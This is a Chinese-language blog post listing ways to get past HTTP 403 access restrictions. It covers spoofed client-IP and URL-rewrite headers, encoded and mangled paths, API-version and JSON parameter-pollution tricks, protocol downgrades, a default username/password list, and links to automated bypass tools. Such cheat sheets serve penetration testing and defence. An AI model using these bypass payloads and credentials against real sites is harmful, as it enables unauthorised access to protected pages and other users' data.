随笔 - 1  文章 - 0  评论 - 0  阅读 - 137

403页面绕过

什么是403

当我们没有访问特定网页的权限时,它会给我们返回403 forbidden。

绕过403 Forbidden Error表示客户端能够与服务器通信,但服务器不允许客户端访问所请求的内容。

HTTP请求方法

尝试使用不同的请求方法来访问:GET、HEAD、POST、PUT、DELETE、CONNECT、OPTIONS、TRACE、PATCH、INVENTED、HACK

HTTP 表头fuzz

X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
X-Original-URL: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
Host: localhost

如果路径受到保护,可以尝试使用这些其他标头绕过路径保护:

X-Original-URL: /admin/console
X-Rewrite-URL: /admin/console

绕过技巧

路径fuzz

1.尝试使用/%2e/path,也可使用 /%252e/path

2.尝试Unicode绕过:/%ef%bc%8fpath​

其他路径绕过

site.com/secret –> HTTP 403 Forbidden
site.com/SECRET –> HTTP 200 OK
site.com/secret/ –> HTTP 200 OK
site.com/secret/. –> HTTP 200 OK
site.com//secret// –> HTTP 200 OK
site.com/./secret/.. –> HTTP 200 OK
site.com/;/secret –> HTTP 200 OK
site.com/.;/secret –> HTTP 200 OK
site.com//;//secret –> HTTP 200 OK
site.com/secret.json –> HTTP 200 OK 

其他api绕过

/v3/users_data/1234 --> 403 Forbidden
/v1/users_data/1234 --> 200 OK
{“id”:111} --> 401 Unauthriozied
{“id”:[111]} --> 200 OK
{“id”:111} --> 401 Unauthriozied
{“id”:{“id”:111}} --> 200 OK
{"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON 参数污染)
user_id=ATTACKER_ID&user_id=VICTIM_ID (参数污染)

更换协议版本

如果使用 HTTP/1.1,请尝试使用 1.0,或者测试看它是否支持 2.0。

暴力破解

admin    admin
admin    password
admin    1234
admin    admin1234
admin    123456
root     toor
test     test
guest    guest

自动化工具使用

  1. https://github.com/lobuhi/byp4xx
  2. https://github.com/iamj0ker/bypass-403
  3. https://github.com/gotr00t0day/forbiddenpass
  4. Burp扩展:https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122

posted on   ShowMeTheBug  阅读(137)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
< 2025年3月 >
23 24 25 26 27 28 1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31 1 2 3 4 5

点击右上角即可分享
微信分享提示